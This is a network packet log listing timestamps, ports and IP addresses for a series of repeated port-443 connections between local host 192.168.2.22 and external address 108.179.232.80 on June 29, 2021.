Jun 29, 2021 17:41:14.958064079 CEST	443	49211	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:14.979242086 CEST	443	49211	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:14.979701996 CEST	49211	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:14.980123043 CEST	49211	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:14.989455938 CEST	49211	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:15.150500059 CEST	443	49211	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:15.547255039 CEST	443	49211	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:15.547281027 CEST	443	49211	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:15.548847914 CEST	49211	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:15.548891068 CEST	49211	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:15.550972939 CEST	49212	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:15.711240053 CEST	443	49211	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:15.711263895 CEST	443	49212	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:15.711519957 CEST	49212	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:15.712485075 CEST	49212	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:15.869677067 CEST	443	49212	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:15.870172977 CEST	443	49212	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:15.870330095 CEST	49212	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:15.871015072 CEST	49212	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:15.879477978 CEST	49212	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:16.037431955 CEST	443	49212	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:16.427279949 CEST	443	49212	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:16.427324057 CEST	443	49212	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:16.427635908 CEST	49212	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:16.427690983 CEST	49212	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:16.429414988 CEST	49212	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:16.433315992 CEST	49213	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:16.587001085 CEST	443	49212	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:16.590672970 CEST	443	49213	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:16.590856075 CEST	49213	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:16.591383934 CEST	49213	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:16.749274015 CEST	443	49213	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:16.751241922 CEST	443	49213	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:16.751699924 CEST	49213	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:16.753563881 CEST	49213	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:16.761533976 CEST	49213	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:16.921118021 CEST	443	49213	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:17.317673922 CEST	443	49213	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:17.317749977 CEST	443	49213	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:17.317825079 CEST	49213	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:17.318562984 CEST	49213	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:17.318722010 CEST	49213	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:17.321175098 CEST	49214	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:17.476784945 CEST	443	49213	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:17.484217882 CEST	443	49214	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:17.484349966 CEST	49214	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:17.485378981 CEST	49214	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:17.646495104 CEST	443	49214	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:17.647093058 CEST	443	49214	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:17.647288084 CEST	49214	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:17.647998095 CEST	49214	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:17.657052994 CEST	49214	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:17.819394112 CEST	443	49214	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:18.204713106 CEST	443	49214	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:18.204830885 CEST	443	49214	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:18.204915047 CEST	49214	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:18.205641985 CEST	49214	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:18.205868006 CEST	49214	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:18.208374023 CEST	49215	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:18.367286921 CEST	443	49215	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:18.367469072 CEST	49215	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:18.368098974 CEST	443	49214	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:18.368546009 CEST	49215	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:18.526501894 CEST	443	49215	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:18.527507067 CEST	443	49215	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:18.527606010 CEST	49215	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:18.528146982 CEST	49215	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:18.532991886 CEST	49215	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:18.691607952 CEST	443	49215	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:19.110565901 CEST	443	49215	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:19.110655069 CEST	443	49215	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:19.110903025 CEST	49215	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:19.111491919 CEST	49215	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:19.114080906 CEST	49216	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:19.271306038 CEST	443	49215	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:19.275363922 CEST	443	49216	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:19.275513887 CEST	49216	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:19.276555061 CEST	49216	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:19.437819004 CEST	443	49216	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:19.439322948 CEST	443	49216	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:19.439476967 CEST	49216	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:19.439996004 CEST	49216	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:19.448860884 CEST	49216	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:19.610812902 CEST	443	49216	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:20.012613058 CEST	443	49216	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:20.012823105 CEST	49216	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:20.013406038 CEST	443	49216	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:20.013478041 CEST	49216	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:20.014386892 CEST	49216	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:20.016074896 CEST	49217	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:20.174160957 CEST	443	49217	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:20.174349070 CEST	49217	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:20.175340891 CEST	49217	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:20.177774906 CEST	443	49216	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:20.332700968 CEST	443	49217	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:20.333508015 CEST	443	49217	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:20.333703041 CEST	49217	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:20.334353924 CEST	49217	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:20.344331026 CEST	49217	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:20.503282070 CEST	443	49217	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:20.910129070 CEST	443	49217	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:20.910171032 CEST	443	49217	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:20.910332918 CEST	49217	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:20.911084890 CEST	49217	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:20.912928104 CEST	49218	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:21.070314884 CEST	443	49217	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:21.074588060 CEST	443	49218	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:21.074664116 CEST	49218	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:21.075278997 CEST	49218	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:21.237164974 CEST	443	49218	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:21.238289118 CEST	443	49218	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:21.238466978 CEST	49218	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:21.238964081 CEST	49218	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:21.243206024 CEST	49218	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:21.404139996 CEST	443	49218	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:21.802112103 CEST	443	49218	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:21.802254915 CEST	49218	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:21.804099083 CEST	49218	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:21.805252075 CEST	443	49218	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:21.805325985 CEST	49218	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:21.805464983 CEST	49218	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:21.807851076 CEST	49219	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:21.966103077 CEST	443	49218	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:21.969521046 CEST	443	49219	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:21.969753981 CEST	49219	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:21.970696926 CEST	49219	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:22.133171082 CEST	443	49219	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:22.133229017 CEST	443	49219	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:22.133353949 CEST	49219	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:22.133972883 CEST	49219	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:22.142523050 CEST	49219	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:22.307085037 CEST	443	49219	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:22.706185102 CEST	443	49219	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:22.706232071 CEST	443	49219	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:22.706415892 CEST	49219	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:22.707456112 CEST	49219	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:22.709980965 CEST	49220	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:22.872525930 CEST	443	49219	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:22.872546911 CEST	443	49220	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:22.872661114 CEST	49220	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:22.873859882 CEST	49220	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:23.038815975 CEST	443	49220	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:23.057722092 CEST	443	49220	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:23.058024883 CEST	49220	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:23.058495045 CEST	49220	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:23.062403917 CEST	49220	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:23.226172924 CEST	443	49220	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:23.646305084 CEST	443	49220	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:23.646334887 CEST	443	49220	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:23.646452904 CEST	49220	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:23.647145033 CEST	49220	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:23.648894072 CEST	49221	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:23.807288885 CEST	443	49221	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:23.807475090 CEST	49221	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:23.808000088 CEST	49221	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:23.811284065 CEST	443	49220	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:23.967147112 CEST	443	49221	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:23.968158007 CEST	443	49221	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:23.968336105 CEST	49221	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:23.969069958 CEST	49221	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:23.976516008 CEST	49221	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:24.136687994 CEST	443	49221	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:24.532140017 CEST	443	49221	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:24.532320023 CEST	443	49221	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:24.532507896 CEST	49221	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:24.532560110 CEST	49221	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:24.533552885 CEST	49221	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:24.539735079 CEST	49222	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:24.694371939 CEST	443	49221	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:24.702337027 CEST	443	49222	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:24.702503920 CEST	49222	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:24.703483105 CEST	49222	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:24.866427898 CEST	443	49222	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:24.866466999 CEST	443	49222	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:24.867268085 CEST	49222	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:24.868125916 CEST	49222	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:24.873279095 CEST	49222	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:25.034410000 CEST	443	49222	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:25.442331076 CEST	443	49222	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:25.442567110 CEST	49222	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:25.442625999 CEST	443	49222	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:25.442703962 CEST	49222	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:25.443630934 CEST	49222	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:25.446929932 CEST	49223	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:25.604509115 CEST	443	49222	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:25.606353998 CEST	443	49223	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:25.606460094 CEST	49223	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:25.606930017 CEST	49223	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:25.766000986 CEST	443	49223	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:25.766031027 CEST	443	49223	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:25.766391039 CEST	49223	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:25.766964912 CEST	49223	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:25.776468039 CEST	49223	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:25.934514999 CEST	443	49223	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:26.329938889 CEST	443	49223	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:26.330099106 CEST	49223	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:26.332709074 CEST	443	49223	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:26.332819939 CEST	49223	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:26.334530115 CEST	49223	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:26.337039948 CEST	49224	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:26.493930101 CEST	443	49223	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:26.493958950 CEST	443	49224	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:26.494138002 CEST	49224	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:26.494719028 CEST	49224	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:26.652235031 CEST	443	49224	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:26.652328014 CEST	443	49224	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:26.652498960 CEST	49224	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:26.653145075 CEST	49224	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:26.657885075 CEST	49224	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:26.815987110 CEST	443	49224	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:27.217596054 CEST	443	49224	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:27.217619896 CEST	443	49224	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:27.217782974 CEST	49224	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:27.218323946 CEST	49224	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:27.219507933 CEST	49225	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:27.376178026 CEST	443	49224	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:27.380626917 CEST	443	49225	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:27.380784988 CEST	49225	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:27.381345034 CEST	49225	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:27.542646885 CEST	443	49225	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:27.542674065 CEST	443	49225	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:27.544853926 CEST	49225	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:27.545465946 CEST	49225	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:27.552144051 CEST	49225	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:27.714596987 CEST	443	49225	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:28.123217106 CEST	443	49225	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:28.123275042 CEST	443	49225	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:28.123429060 CEST	49225	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:28.124370098 CEST	49225	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:28.126821041 CEST	49226	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:28.284847021 CEST	443	49225	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:28.288327932 CEST	443	49226	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:28.288494110 CEST	49226	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:28.289558887 CEST	49226	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:28.452135086 CEST	443	49226	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:28.452816010 CEST	443	49226	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:28.452950001 CEST	49226	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:28.453381062 CEST	49226	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:28.458530903 CEST	49226	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:28.619966984 CEST	443	49226	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:29.009905100 CEST	443	49226	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:29.009972095 CEST	443	49226	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:29.010096073 CEST	49226	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:29.010720015 CEST	49226	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:29.012229919 CEST	49227	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:29.171920061 CEST	443	49226	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:29.172058105 CEST	443	49227	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:29.172277927 CEST	49227	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:29.172909975 CEST	49227	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:29.334561110 CEST	443	49227	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:29.335315943 CEST	443	49227	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:29.335453987 CEST	49227	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:29.335959911 CEST	49227	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:29.340965033 CEST	49227	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:29.500998974 CEST	443	49227	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:29.929877996 CEST	443	49227	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:29.930035114 CEST	49227	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:29.930123091 CEST	443	49227	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:29.930167913 CEST	49227	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:29.931054115 CEST	49227	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:29.936186075 CEST	49228	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:30.092216969 CEST	443	49227	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:30.100377083 CEST	443	49228	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:30.100630045 CEST	49228	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:30.101648092 CEST	49228	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:30.263072014 CEST	443	49228	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:30.263703108 CEST	443	49228	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:30.263787985 CEST	49228	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:30.264218092 CEST	49228	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:30.269135952 CEST	49228	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:30.430540085 CEST	443	49228	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:30.809511900 CEST	443	49228	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:30.809715986 CEST	49228	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:30.809801102 CEST	443	49228	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:30.809849024 CEST	49228	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:30.810178041 CEST	49228	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:30.811209917 CEST	49229	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:30.969393969 CEST	443	49229	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:30.969567060 CEST	49229	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:30.970455885 CEST	49229	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:30.972203970 CEST	443	49228	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:31.127913952 CEST	443	49229	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:31.128644943 CEST	443	49229	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:31.128741026 CEST	49229	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:31.129196882 CEST	49229	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:31.133927107 CEST	49229	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:31.291403055 CEST	443	49229	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:31.690107107 CEST	443	49229	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:31.690236092 CEST	49229	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:31.690498114 CEST	443	49229	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:31.690541983 CEST	49229	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:31.691282034 CEST	49229	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:31.692656040 CEST	49230	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:31.850848913 CEST	443	49229	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:31.851246119 CEST	443	49230	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:31.851336956 CEST	49230	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:31.851927042 CEST	49230	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:32.008286953 CEST	443	49230	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:32.008847952 CEST	443	49230	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:32.008923054 CEST	49230	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:32.009324074 CEST	49230	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:32.014172077 CEST	49230	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:32.171610117 CEST	443	49230	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:32.581231117 CEST	443	49230	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:32.581351042 CEST	443	49230	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:32.581401110 CEST	49230	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:32.581454039 CEST	49230	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:32.581918955 CEST	49230	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:32.583374023 CEST	49231	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:32.738393068 CEST	443	49230	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:32.744128942 CEST	443	49231	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:32.744360924 CEST	49231	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:32.744887114 CEST	49231	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:32.905541897 CEST	443	49231	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:32.906299114 CEST	443	49231	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:32.906434059 CEST	49231	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:32.906955957 CEST	49231	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:32.911905050 CEST	49231	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:33.072937012 CEST	443	49231	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:33.471498013 CEST	443	49231	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:33.471729994 CEST	49231	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:33.471869946 CEST	443	49231	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:33.471978903 CEST	49231	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:33.472728014 CEST	49231	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:33.474061012 CEST	49232	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:33.631829023 CEST	443	49232	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:33.631912947 CEST	49232	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:33.632497072 CEST	49232	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:33.633402109 CEST	443	49231	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:33.790148973 CEST	443	49232	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:33.791107893 CEST	443	49232	108.179.232.80	192.168.2.22
Jun 29, 2021 17:41:33.791271925 CEST	49232	443	192.168.2.22	108.179.232.80
Jun 29, 2021 17:41:33.791841984 CEST	49232	443	192.168.2.22	108.179.232.80
